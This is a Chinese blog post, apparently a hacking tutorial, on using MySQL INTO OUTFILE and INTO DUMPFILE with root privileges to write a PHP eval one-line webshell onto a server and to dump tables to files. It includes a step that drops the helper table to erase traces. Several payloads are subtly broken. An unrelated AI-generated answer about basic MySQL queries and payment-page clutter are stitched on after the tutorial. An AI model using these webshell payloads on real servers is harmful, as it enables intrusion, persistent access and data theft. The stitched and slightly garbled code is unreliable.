MYSQL数据库脱库写马写一句话

0x00 前提条件

权限: 必须是ROOT
secure_file_priv的限制
可以使用 mysql命令查询 show variables like '%secure%’;

secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

0x01 写入Websehll

  • 利用函数
  • - into dumpfile()
  • - into outfile()
  • - load_file()

01. 直接写入

注意:这个方法必须得是ROOT用户权限

  select '<php eval($_POST[shell])?>' into outfile 'c:\\shell.php'

02. 创建表单写入

1.先创建数据表

CREATE  table 'mysql'.'shell' ('webshell'  text not null)

2.向表单中写入一句话

insert Into  mysql.shell  values('<?php $eval($_POST[shell]);?>');

3.查询数据导出webshell

select 'webshell' from 'shell'  into outfile 'c:\\1.php'

4.删除表,清理痕迹。

drop table if exists 'shell'

0x02 脱库

0x1 Into outfile

select * from test into outfile '/tmp/test.txt'

0x2 Into dumpfile

 select * from test into dumpfile '/tmp/test.txt'

0x3 outfile 与dumpfile的脱裤区别

1.dumpfile只输出一行内容,outfile多行。
2.outfile函数在将数据写入到文件时会进行特殊格式转换 例如\n,则dumpfile则保持原数据格式。
在这里插入图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: MySQL数据库中的单表查询(三)可以使用以下语句实现: 1. SELECT DISTINCT 列名 FROM 表名; 这句话可以查询表中不重复的值。 2. SELECT 列名1, 列名2 FROM 表名 WHERE 条件; 这句话可以查询表中满足条件的记录,并显示指定列。 3. SELECT COUNT(列名) FROM 表名; 这句话可以统计表中记录的数量。 4. SELECT SUM(列名) FROM 表名; 这句话可以求和表中某一列的值。 5. SELECT AVG(列名) FROM 表名; 这句话可以求平均值表中某一列的值。 6. SELECT MAX(列名) FROM 表名; 这句话可以查询表中某一列的最大值。 7. SELECT MIN(列名) FROM 表名; 这句话可以查询表中某一列的最小值。 8. SELECT 列名 FROM 表名 ORDER BY 列名 [ASC|DESC]; 这句话可以对表中记录进行排序。 9. SELECT 列名 FROM 表名 LIMIT 开始位置, 显示记录数; 这句话可以限制结果显示的记录数。 ### 回答2: 在MySQL数据库单表查询的第三篇中,我们将学习适用于单表查询的一些高级查询技巧,使我们能够更有效地查询数据和优化查询性能。 1.使用DISTINCT关键字去除重复记录 在某些情况下,我们需要查询出一张表中的不重复的记录,此时可以使用DISTINCT关键字。DISTINCT关键字用于筛选出不同的值,查询所返回的结果集将去除重复数据。例如: SELECT DISTINCT name FROM student; 以上语句将会返回不同的name值。 2.使用ORDER BY排序查询结果 如果我们需要按照某个字段的值进行排序,就可以使用ORDER BY子句来实现。ORDER BY关键字默认按照升序排列,如果需要降序排列可以使用DESC关键字。例如: SELECT * FROM student ORDER BY age DESC; 以上查询语句将会按照age列的降序排列返回结果集。 3.使用LIMIT限制查询结果集的数量 当我们进行大量数据的查询时,使用LIMIT关键字来限制返回结果集的数量是一个非常有效的方法。 LIMIT子句用于指定查询的起始行和数据行数。例如: SELECT * FROM student LIMIT 10,5; 以上查询语句将返回从第11行开始的5行数据。 4.使用聚合函数查询数据 在MySQL中有五种聚合函数:COUNT、SUM、AVG、MAX、MIN。聚合函数用于对数据进行统计和计算。例如: SELECT COUNT(*) FROM student; 以上查询语句将返回student表中的记录数。 5.使用分组查询数据 GROUP BY子句用于将结果集按照指定列进行分组,一般与聚合函数一起使用。例如: SELECT age,COUNT(*) FROM student GROUP BY age; 以上查询语句将根据年龄对学生表进行分组,并统计每个年龄段学生的人数。 总之,单表查询是MySQL数据库中的重要部分,学习以上高级查询技巧能够更好地提高我们的查询效率和结果的准确性。 ### 回答3: MySQL数据库的单表查询是指在一个表中进行数据查询和筛选的操作。在进行单表查询的时候,需要注意一些基础的SQL语法和查询技巧。本文将介绍MySQL数据库单表查询的一些高级用法。 1. 条件查询 条件查询是单表查询最常用也最基础的一种查询方法。通过“WHERE”子句来限定查询的范围和条件,如: SELECT * FROM students WHERE age > 18; 这条语句将查询年龄大于18岁的学生信息。 同时,还可以使用“AND”和“OR”等逻辑运算符来组合多个查询条件: SELECT * FROM students WHERE age > 18 AND (gender = 'male' OR grade > 80); 这条语句将查询年龄大于18岁、并且性别为男性,或者成绩大于80分的学生信息。 2. 模糊查询 模糊查询是指在查询数据时,使用通配符匹配特定字符或字符串的查询方式。在MySQL中,常用的通配符有"%"和“_”,其中,"%"代表零个或多个字符,"_"代表一个字符。如: SELECT * FROM students WHERE name LIKE '%张%'; 这条语句将查询名字中包含“张”字符的学生信息。 3. 排序查询 排序查询是指按照某一列的值来对查询结果进行排序的操作。在MySQL中,通过“ORDER BY”子句来实现对查询结果的排序。如: SELECT * FROM students ORDER BY grade DESC; 这条语句将查询所有学生的信息,并按照成绩从高到低进行排序。 4. 分组查询 分组查询是指将数据按照某一列的值进行分组,并对每一组的数据进行统计分析的操作。在MySQL中,通过“GROUP BY”子句实现分组操作。如: SELECT grade, COUNT(*) FROM students GROUP BY grade; 这条语句将根据学生的成绩进行分组,并统计每组的学生数量。 5. 连接查询 连接查询是指在两个或多个表之间进行查询,通过关联查询得到所有相关数据的查询方式。在MySQL中,通过“JOIN”关键字实现表之间的连接。如: SELECT * FROM students JOIN scores ON students.id = scores.student_id; 这条语句将查询学生的信息和他们的成绩信息,同时通过“ON”子句将两个表进行关联查询。 综上所述,MySQL数据库的单表查询有很多复杂的查询方式,包括条件查询、模糊查询、排序查询、分组查询和连接查询等。在实际使用中,需要根据具体情况选择合适的查询方式,提高查询效率。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值